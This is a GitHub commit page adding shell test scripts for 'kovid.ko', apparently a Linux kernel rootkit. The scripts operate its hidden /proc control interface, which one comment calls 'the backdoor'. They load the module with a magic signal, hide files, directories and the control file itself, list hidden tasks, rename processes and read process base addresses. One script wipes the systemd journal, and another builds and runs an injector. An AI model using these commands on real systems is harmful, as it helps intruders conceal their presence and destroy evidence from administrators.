-
Notifications
You must be signed in to change notification settings - Fork 55
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #163 from carloslack/test-v3.0.0
Test v3.0.0
- Loading branch information
Showing
12 changed files
with
271 additions
and
3 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,32 @@ | ||
# REQUIRES: DEBUG_ONLY | ||
# REQUIRES: NATIVE_TESTS | ||
|
||
# RUN: bash %s > %t.log | ||
# RUN: FileCheck-18 --input-file=%t.log %s | ||
|
||
sudo insmod ../../../build/kovid.ko | ||
kill -CONT 31337 | ||
|
||
# Run the a.out executable in the background | ||
../../../test/native/Inputs/a.testexe & | ||
AOUT_PID=$! # Capture the PID of a.out | ||
|
||
# Wait briefly to ensure a.out has started | ||
# sleep 1 | ||
|
||
# Output the PID (for debugging or verification) | ||
echo "PID of a.out is $AOUT_PID" | ||
|
||
echo base-address=$AOUT_PID > /proc/myprocname | ||
|
||
cat /proc/myprocname | ||
|
||
echo "Deleting kovid" | ||
sudo rmmod kovid | ||
|
||
kill -9 $AOUT_PID | ||
|
||
# CHECK: PID of a.out is | ||
## We expect an address like `55e648a65000` | ||
# CHECK: {{[5-7]}}{{.*}} | ||
# Deleting kovid |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,82 @@ | ||
# REQUIRES: DEBUG_ONLY | ||
# REQUIRES: NATIVE_TESTS | ||
|
||
# RUN: bash %s > %t.log | ||
# RUN: FileCheck-18 --input-file=%t.log %s | ||
|
||
# Insert the kernel module | ||
sudo insmod ../../../build/kovid.ko | ||
kill -CONT 31337 | ||
|
||
PROCNAME="myprocname" | ||
TEST_DIR="/tmp/test_hide_dir" | ||
SUBDIR1="subdir1" | ||
SUBDIR2="subdir2" | ||
|
||
# Clean up if something was left from a previous run | ||
rm -rf "$TEST_DIR" | ||
mkdir -p "$TEST_DIR/$SUBDIR1" | ||
mkdir -p "$TEST_DIR/$SUBDIR2" | ||
|
||
# Function to get directory link count | ||
get_link_count() { | ||
stat -c %h "$1" | ||
} | ||
|
||
echo "==== Initial State ====" | ||
|
||
# Check initial link count | ||
# A directory typically has at least 2 links: "." and ".." | ||
initial_links=$(get_link_count "$TEST_DIR") | ||
echo "Links before hiding: $initial_links" | ||
|
||
# CHECK: Links before hiding: | ||
# This checks we have an initial reference point. We won't assert exact counts in these tests, | ||
# just verify the logic of increment/decrement. | ||
|
||
echo "==== Hide One Directory ====" | ||
# Hide SUBDIR1 | ||
echo "hide-directory=$TEST_DIR/$SUBDIR1" > /proc/$PROCNAME | ||
|
||
after_hide_one=$(get_link_count "$TEST_DIR") | ||
echo "Links after hiding one directory: $after_hide_one" | ||
|
||
# CHECK: Links after hiding one directory: | ||
# Expect a decrement in link count by 1 (not explicitly checked here, but observed by the tester). | ||
|
||
echo "==== Hide Another Directory ====" | ||
# Hide SUBDIR2 | ||
echo "hide-directory=$TEST_DIR/$SUBDIR2" > /proc/$PROCNAME | ||
|
||
after_hide_two=$(get_link_count "$TEST_DIR") | ||
echo "Links after hiding two directories: $after_hide_two" | ||
|
||
# CHECK: Links after hiding two directories: | ||
# The link count should have decreased again, but must never be less than 2. | ||
if [ "$after_hide_two" -lt 2 ]; then | ||
echo "ERROR: Link count dropped below 2!" | ||
exit 1 | ||
fi | ||
|
||
echo "==== Un-hide One Directory ====" | ||
# Unhide SUBDIR1 | ||
echo unhide-directory=$TEST_DIR/$SUBDIR1 > /proc/myprocname | ||
|
||
after_unhide_one=$(get_link_count "$TEST_DIR") | ||
echo "Links after un-hiding one directory: $after_unhide_one" | ||
|
||
# CHECK: Links after un-hiding one directory: | ||
# Should have increased back by 1. | ||
|
||
echo "==== Remove Module to Un-hide All ====" | ||
# Removing the module should restore everything | ||
sudo rmmod kovid | ||
|
||
final_links=$(get_link_count "$TEST_DIR") | ||
echo "Links after removing module: $final_links" | ||
|
||
# CHECK: Links after removing module: | ||
# Should match the initial count again. | ||
|
||
# Cleanup | ||
rm -rf "$TEST_DIR" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,22 @@ | ||
# REQUIRES: 0 | ||
# REQUIRES: DEBUG_ONLY | ||
# REQUIRES: NATIVE_TESTS | ||
|
||
# RUN: bash %s &> %t.log | ||
# RUN: FileCheck-18 --input-file=%t.log %s | ||
|
||
# This would break other tests, due to make | ||
# command, so this can be run individually. | ||
|
||
sudo dmesg -c | ||
|
||
cd ../../../inject | ||
cd ../ && PROCNAME=kv make && make strip | ||
cd - | ||
./update.sh && make | ||
sudo ./kv_embed ; dmesg | ||
cd ../../../build | ||
sudo rmmod kovid | ||
|
||
# CHECK: loaded | ||
# CHECK: unloaded |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,24 @@ | ||
# REQUIRES: 0 | ||
# REQUIRES: DEBUG_ONLY | ||
# REQUIRES: NATIVE_TESTS | ||
|
||
# RUN: bash %s > %t.log | ||
# RUN: FileCheck-18 --input-file=%t.log %s | ||
|
||
sudo dmesg -c | ||
sleep 10 | ||
|
||
sudo insmod ../../../build/kovid.ko | ||
kill -CONT 31337 | ||
|
||
sudo journalctl --rotate --vacuum-time=1s | ||
|
||
# Remove the kernel module | ||
sudo rmmod kovid | ||
|
||
sudo dmesg | ||
|
||
# There are newlines in dmesg output. | ||
# Tested manually that part. | ||
|
||
# CHECK: systemd-journald[{{.*}}]: Received client request to rotate journal. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,36 @@ | ||
# REQUIRES: DEBUG_ONLY | ||
# REQUIRES: NATIVE_TESTS | ||
|
||
# RUN: bash %s > %t.log | ||
# RUN: FileCheck-18 --input-file=%t.log %s | ||
|
||
sudo dmesg -c | ||
sleep 10 | ||
|
||
sudo insmod ../../../build/kovid.ko | ||
kill -CONT 31337 | ||
|
||
# Create a test directory and file | ||
TEST_DIR="/tmp/test_hide_file" | ||
TEST_FILE="hidden_file.txt" | ||
mkdir -p "$TEST_DIR" | ||
touch "$TEST_DIR/$TEST_FILE" | ||
|
||
# Hide the file using the backdoor | ||
echo hide-file="$TEST_DIR/$TEST_FILE" > /proc/myprocname | ||
|
||
# Verify that the file is hidden when listing the directory | ||
ls "$TEST_DIR" | grep "$TEST_FILE" || echo "File is hidden" | ||
|
||
echo list-hidden-files > /proc/myprocname | ||
|
||
# Cleanup | ||
rm -rf "$TEST_DIR" | ||
|
||
# Remove the kernel module | ||
sudo rmmod kovid | ||
|
||
sudo dmesg | ||
|
||
# CHECK: File is hidden | ||
# CHECK: hidden: 'hidden_file.txt' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,25 @@ | ||
# REQUIRES: DEBUG_ONLY | ||
# REQUIRES: NATIVE_TESTS | ||
|
||
# RUN: bash %s > %t.log | ||
# RUN: FileCheck-18 --input-file=%t.log %s | ||
|
||
sudo dmesg -c | ||
sleep 10 | ||
|
||
sudo insmod ../../../build/kovid.ko | ||
kill -CONT 31337 | ||
|
||
echo list-hidden-tasks > /proc/myprocname | ||
|
||
echo "Deleting kovid" | ||
sudo rmmod kovid | ||
|
||
kill -9 $AOUT_PID | ||
|
||
sudo dmesg | ||
|
||
# CHECK: Kthread : task | ||
# CHECK: Kthread : task | ||
# CHECK: Kthread : task | ||
# CHECK: Kthread : task |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,17 @@ | ||
# REQUIRES: DEBUG_ONLY | ||
# REQUIRES: NATIVE_TESTS | ||
|
||
# RUN: bash %s &> %t.log | ||
# RUN: FileCheck-18 --input-file=%t.log %s | ||
|
||
sudo insmod ../../../build/kovid.ko | ||
kill -CONT 31337 | ||
|
||
ls /proc/myprocname | ||
stat /proc/myprocname | ||
|
||
echo "Deleting kovid" | ||
sudo rmmod kovid | ||
|
||
# CHECK: No such file or directory | ||
# CHECK: No such file or directory |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,29 @@ | ||
# REQUIRES: DEBUG_ONLY | ||
# REQUIRES: NATIVE_TESTS | ||
|
||
# RUN: bash %s > %t.log | ||
# RUN: FileCheck-18 --input-file=%t.log %s | ||
|
||
sudo dmesg -c | ||
sleep 10 | ||
|
||
sudo insmod ../../../build/kovid.ko | ||
kill -CONT 31337 | ||
|
||
# Run the a.out executable in the background | ||
../../../test/native/Inputs/a.testexe & | ||
AOUT_PID=$! # Capture the PID of a.out | ||
|
||
# Output the PID (for debugging or verification) | ||
echo "PID of a.out is $AOUT_PID" | ||
|
||
echo $AOUT_PID > /proc/myprocname | ||
echo rename-task=$AOUT_PID, rename.out > /proc/myprocname | ||
|
||
echo "Deleting kovid" | ||
sudo rmmod kovid | ||
|
||
kill -9 $AOUT_PID | ||
sudo dmesg | ||
|
||
# CHECK: New process name: ' rename.out' |